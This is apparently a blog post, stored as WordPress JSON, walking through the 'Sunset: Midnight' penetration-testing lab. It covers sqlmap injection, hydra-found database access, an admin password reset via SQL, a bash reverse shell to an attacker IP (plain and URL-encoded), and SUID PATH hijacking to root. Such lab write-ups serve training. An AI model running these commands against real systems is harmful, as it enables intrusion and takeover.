{"id":546,"date":"2026-02-23T15:04:11","date_gmt":"2026-02-23T15:04:11","guid":{"rendered":"https:\/\/hackingwithj.com\/?p=546"},"modified":"2026-02-23T15:04:11","modified_gmt":"2026-02-23T15:04:11","slug":"offsec-sunset-midnight","status":"publish","type":"post","link":"https:\/\/hackingwithj.com\/?p=546","title":{"rendered":"Offsec: Sunset Midnight"},"content":{"rendered":"\n

Another box. Another WordPress install. And another reminder why enumeration > assumptions. Let\u2019s break down Sunset: Midnight<\/strong> step by step.<\/p>\n\n\n\n

Nmap Scan<\/h2>\n\n\n\n

Started with a full TCP scan.<\/p>\n\n\n\n

PORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 9c:fe:0b:8b:8d:15:e7:72:7e:3c:23:e5:86:55:51:2d (RSA)\n|   256 fe:eb:ef:5d:40:e7:06:67:9b:63:67:f8:d9:7e:d3:e2 (ECDSA)\n|_  256 35:83:68:2c:33:8b:b4:6c:24:21:20:0d:52:ed:cd:16 (ED25519)\n80\/tcp   open  http    Apache httpd 2.4.38 ((Debian))\n|_http-server-header: Apache\/2.4.38 (Debian)\n|_http-title: Did not follow redirect to http:\/\/sunset-midnight\/\n| http-robots.txt: 1 disallowed entry \n|_\/wp-admin\/\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n3306\/tcp open  mysql   MariaDB 5.5.5-10.3.22\n| mysql-info: \n|   Protocol: 10\n|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1\n|   Thread ID: 14\n|   Capabilities flags: 63486\n|   Some Capabilities: SupportsCompression, Speaks41ProtocolNew, Support41Auth, ConnectWithDatabase, FoundRows, InteractiveClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, ODBCClient, Speaks41ProtocolOld, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults\n|   Status: Autocommit\n|   Salt: 9H@ExPf0XN\\efP>%;:Ob\n|_  Auth Plugin Name: mysql_native_password\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/code><\/pre>\n\n\n\n
Web Enumeration (Port 80)<\/h1>\n\n\n\n
Visiting the site revealed:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
    \n
  • Default WordPress installation<\/li>\n\n\n\n
  • User: admin<\/code><\/li>\n\n\n\n
  • Plugin: simple-poll-master<\/code><\/li>\n\n\n\n
  • Version: 1.5.0<\/li>\n<\/ul>\n\n\n\n
    At first glance, nothing obvious. But after researching the plugin version, I found that version 1.4.1 had a known SQL injection \u2014 and reports suggested 1.5.0 was also vulnerable.<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    The vulnerable endpoint:<\/p>\n\n\n\n
    \/wp-admin\/admin-ajax.php<\/code><\/pre>\n\n\n\n
    With parameter:<\/p>\n\n\n\n
    action=spAjaxResults&pollid=2<\/pre>\n\n\n\n
    SQL Injection with sqlmap<\/h2>\n\n\n\n
    sqlmap -u \"http:\/\/sunset-midnight\/wp-admin\/admin-ajax.php\" \\\n--data=\"action=spAjaxResults&pollid=2\" \\\n-D wordpress_db --tables --batch<\/code><\/pre>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    It worked \u2014 but extraction was slow. Since MySQL (MariaDB) was exposed on port 3306, I pivoted.<\/p>\n\n\n\n
    MySQL Enumeration (Port 3306)<\/h2>\n\n\n\n
    After identifying valid credentials using hydra, I logged in directly to MariaDB.<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    Listing databases:<\/p>\n\n\n\n
    show databases;<\/code><\/pre>\n\n\n\n
    Found:<\/p>\n\n\n\n
      \n
    • wordpress_db<\/li>\n<\/ul>\n\n\n\n
      Checking users:<\/p>\n\n\n\n
      select user, password from mysql.user;<\/pre>\n\n\n\n
      Then inside WordPress DB:<\/p>\n\n\n\n
      select user_login, user_pass from wp_users;<\/pre>\n\n\n\n
      Found:<\/p>\n\n\n\n
        \n
      • admin user<\/li>\n\n\n\n
      • WordPress password hash<\/li>\n<\/ul>\n\n\n\n
        Cracking hashes didn\u2019t work. But then I realized: I was root in the database. Instead of cracking \u2014 just change it.<\/p>\n\n\n\n
        UPDATE wordpress_db.wp_users \nSET user_pass = MD5('Password123!') \nWHERE user_login = 'admin';<\/code><\/pre>\n\n\n\n
        WordPress accepts MD5 during login and rehashes automatically. Logged in successfully as admin.<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        Gaining RCE via WordPress<\/h1>\n\n\n\n
        Editing the theme directly failed:<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        However, modifying an installed plugin worked:<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        I injected a simple reverse shell and triggered it via the browser:<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        bash -c \"bash -i >& \/dev\/tcp\/<attacker_ip>\/9001 0>&1\"\n\n#Url encoded\nbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.225%2F9001%200%3E%261%22<\/code><\/pre>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        Got a shell.<\/p>\n\n\n\n
        Lateral Movement \u2013 Credential Reuse<\/h2>\n\n\n\n
        While enumerating, I discovered that user jose<\/code> reused credentials. SSH access worked with the reused password. Always try credential reuse \u2014 especially after database compromise.<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        Privilege Escalation<\/h1>\n\n\n\n
        While performing standard enumeration (linpeas<\/code>, manual checks), I found:<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        Permissions:<\/p>\n\n\n\n
        -rwsr-sr-x 1 root root 16768 Jul 18  2020 \/usr\/bin\/status<\/code><\/pre>\n\n\n\n
        SUID binary running as root.<\/p>\n\n\n\n
        Analyzing the Binary<\/h2>\n\n\n\n
        Using strings<\/code>:<\/p>\n\n\n\n
        strings \/usr\/bin\/status<\/pre>\n\n\n\n
        Revealed:<\/p>\n\n\n\n
        service ssh status
        system()<\/pre>\n\n\n\n
        The binary calls:<\/p>\n\n\n\n
        service ssh status<\/pre>\n\n\n\n
        But it does not use an absolute path. This means it relies on $PATH<\/code>. Classic PATH hijacking opportunity.<\/p>\n\n\n\n
        Exploiting PATH Hijacking<\/h1>\n\n\n\n
        Create a fake service<\/code> binary:<\/p>\n\n\n\n
        echo '\/bin\/bash -p' > \/tmp\/service
        chmod +x \/tmp\/service<\/pre>\n\n\n\n
        Prepend \/tmp<\/code> to PATH:<\/p>\n\n\n\n
        export PATH=\/tmp:$PATH<\/pre>\n\n\n\n
        Run the vulnerable binary:<\/p>\n\n\n\n
        \/usr\/bin\/status<\/pre>\n\n\n\n
        Root shell:<\/p>\n\n\n\n
        \"\"<\/figure>\n\n\n\n
        Lessons Learned<\/h1>\n\n\n\n
        This box highlights several important concepts:<\/p>\n\n\n\n
          \n
        1. Exposed databases drastically increase attack surface.<\/li>\n\n\n\n
        2. SQL injection doesn\u2019t always need full data extraction \u2014 sometimes logic abuse is faster.<\/li>\n\n\n\n
        3. If you control the database, you control the application.<\/li>\n\n\n\n
        4. Credential reuse is still one of the most reliable privilege escalation techniques.<\/li>\n\n\n\n
        5. SUID binaries must use absolute paths.<\/li>\n\n\n\n
        6. PATH hijacking remains a classic but powerful attack vector.<\/li>\n<\/ol>\n\n\n\n
          <\/p>\n","protected":false},"excerpt":{"rendered":"
          Another box. Another WordPress install. And another reminder why enumeration > assumptions. Let\u2019s break down Sunset: Midnight step by step. Nmap Scan Started with a full TCP scan. Web Enumeration (Port 80) Visiting the site revealed: At first glance, nothing obvious. But after researching the plugin version, I found that version 1.4.1 had a known […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[8,35],"tags":[30,34,18],"class_list":["post-546","post","type-post","status-publish","format-standard","hentry","category-ctf","category-training","tag-nmap","tag-sqli","tag-sqlmap"],"_links":{"self":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/546","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=546"}],"version-history":[{"count":3,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/546\/revisions"}],"predecessor-version":[{"id":562,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/546\/revisions\/562"}],"wp:attachment":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=546"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=546"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=546"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}